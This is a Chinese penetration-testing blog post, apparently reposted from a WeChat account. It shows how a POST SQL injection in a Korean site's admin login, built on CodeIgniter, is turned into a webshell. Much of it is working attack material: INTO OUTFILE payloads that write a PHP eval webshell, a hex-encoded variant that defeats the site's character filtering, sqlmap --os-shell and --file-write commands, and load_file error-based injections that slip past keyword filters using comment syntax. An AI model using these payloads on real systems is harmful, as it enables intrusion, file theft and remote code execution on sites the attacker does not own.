钉钉授权登录_韩国网站 登录框POST注入到Getshell

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF

0x01 前言

在上篇文章中介绍了一个意大利后台登录框POST注入漏洞的基本利用方法,而这篇文章主要记录的是一个韩国后台登录框POST注入漏洞在Getshell时遇到的安全过滤简单分析过程和绕过方法,这次用于测试的漏洞靶场由@黑无常老哥提供,在此表示感谢!

0x02 POST注入安全过滤分析

这套程序的开发作者采用的CodeIgniter框架,但他 在 写 后台 登录 验证功能时没有经过 有效过滤 就 直接带入查询,导致出现 了 SQL注入漏洞。
  • 问题文件:.\application\models\login_model.php

e720ff76a44cf5313a3e0882696281a2.png 8accb8be25b6282fe9bbaba985dbd70a.png

通过对代码的分析和后台登录页的测试发现确实存在POST注入漏洞,那么我们就先来尝试一下常规的Getshell方法看下是否可行?

'or 1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by "<?php  @eval($_POST['90sec']);?>"#
6c80f06a63f36214e91ba718a6e611b6.png

在上图中可以看到文件已经被成功写进去了,但是<>尖括号和()小括号都被过滤掉了。

dea8941de45a551a1aacaeede986a4ad.png

注:浏览器访问时发现文件内容显示是正常的,测试过程中遇到这种情况时可能会误认为该文件没有被解析,其实并不是的,只不过是因为转换后的编码也能被浏览器正常解析罢了。

50d07b9d6d4a2913cf734d5a22cb61d4.png

找到过滤文件看下代码怎么写的,很多网站都是直接采用htmlentities()、htmlspecialchars()等函数将一些预定义的字符转换为HTML实体编码,而这个开发作者是利用正则匹配和替换方式将<>尖括号转换为HTML实体编码,包含特定关键词的()小括号替换为了Unicode编码。

  • 危险字符过滤文件:.\system\core\Security.php

    • HTML实体编码:<>尖括号 = ><

    • Unicode ASCII 10进制编码:()小括号 = ()

229ae20070f7e8f5a15023b4b4eebde9.png 5a7bfc8a39e2070757d3cf6633d62a6c.png

Unicode五种编码形式:

  • http://www.mxcz.net/tools/Unicode.aspx

Unicode (ASCII 10进制):&#57;&#48;&#115;&#101;&#99;Unicode &(ASCII 10进制):&#00057;&#00048;&#00115;&#00101;&#00099;Unicode \u(HEX 16进制):\u0039\u0030\u0073\u0065\u0063Unicode \u+(HEX 16进制):\u+0039\u+0030\u+0073\u+0065\u+0063Unicode &#x(HEX 16进制):&#x0039;&#x0030;&#x0073;&#x0065;&#x0063;
常用PHP安全过滤函数有:
magic_quotes_gpc                //对GET、POST、COOKE中的数据进行过滤mysql_real_escape_string()      //转义SQL语句中的特殊字符addslashes()                    //在预定义字符之前添加反斜杠stripslashes()                  //删除反斜杠htmlentities()                  //将字符转换为HTML实体htmlspecialchars()              //将预定义字符< 、 >等转换为HTML实体strip_tags()                    //删除字符串中的HTML标签md5()                            //Md5加密函数sha1()                          //sha1加密函数intval()                        //将变量转成整数型[...SNIP...]

Sqlmap Getshell数据包分析

(1) sqlmap --v 3参数获取注入Payload。

sqlmap -r post.txt -p "userid" --os-shell -v 3
1764bfd343b3e6fca969197f785a6a03.png

(2) sqlmap --proxy参数获取注入payload。

sqlmap -r post.txt -p "userid" --os-shell --proxy "http://127.0.0.1:8080"
1167f1cb60604b53decf0afcded61916.png

注:使用--os-shell、--file-write、--file-dest、--file-read等参数在读取和写入文件时都会提示500的报错,但其实文件都已经成功写入到指定路径里了,只是内容为空而已,只需要在--os-shell参数的Payload前加上'or 1=1即可成功写入。

root@kali:~# sqlmap -r post.txt -p "userid" --file-write "/tmp/shell.php" --file-dest "C:\\phpStudy\\WWW\\kr\\upload\\webshell.php" -v 3
247fd276c0c2cea1a3cd0c6313d82360.png

0x03 POST注入GetShell绕过

(1) 因WAF注入规则或自写安全脚本过滤了union、select等,这时可以尝试使用以下方法进行绕过。
'or 1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by "<?php  @eval($_POST['90sec']);?>"#
(2) 用htmlentities()、htmlspecialchars()等函数将<>尖括号转换为html实体编码,或利用正则匹配和替换方式将<>尖括号和()小括号替换为Unicode编码,这时我们可以将一句话木马的内容进行HEX编码即可绕过。
'or 1=1 limit 0,1 into outfile 'C:\\phpStudy\\WWW\\kr\\uploads\\webshell.php' fields terminated by 0x3C3F70687020406576616C28245F504F53545B273930736563275D293B203F3E%23
3820d35b6e2bce4c4b531da7e36c3b91.png a8ef327e6b6a444fffd46ae487f91a2b.png 09593d9ab230598a24c21c53dd2bf76b.png

0x04 POST注入Load_File绕过

由于安全过滤中也匹配了 file、file_get_contents、readfile关键字,所以不能直接使用load_file()函数读取目标磁盘上的文件,用以下语句进行测试, 可以看到 load_file()函数中的 括号 已经被编码了, 感谢团队 @Cream 老哥给推荐的seay大佬写的MySQL监控插件。
'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
3aa1b45cfd85d024c93a145b885a572f.png

虽然被过滤了,但还是可以利用/*..*/、/*!..*/注释方式来绕过安全过滤中正则匹配到的file等关键字。

'and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(load_file/**/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and''and(select 1 from(select count(*),concat((mid((ifnull(cast(hex(/*!load_file*/(0x433a5c70687053747564795c5757575c6b725c2e6874616363657373)) as char),0x20)),1,54)),floor(rand(0)*2))x from information_schema.plugins group by x)a)and'
806d247f023bd4d349c040c94f6aad4a.png
【往期TOP5】绕过CDN查找真实IP方法总结站库分离常规渗透思路总结 Metasploit主机上线钉钉通知谷歌浏览器插件 - 渗透测试篇谷歌浏览器插件推荐 - 日常使用篇

ff7dc4ae2cde9d9805d41e3c3e3627d3.gif  如果对你有所帮助,点个分享、赞、在看呗!ff7dc4ae2cde9d9805d41e3c3e3627d3.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值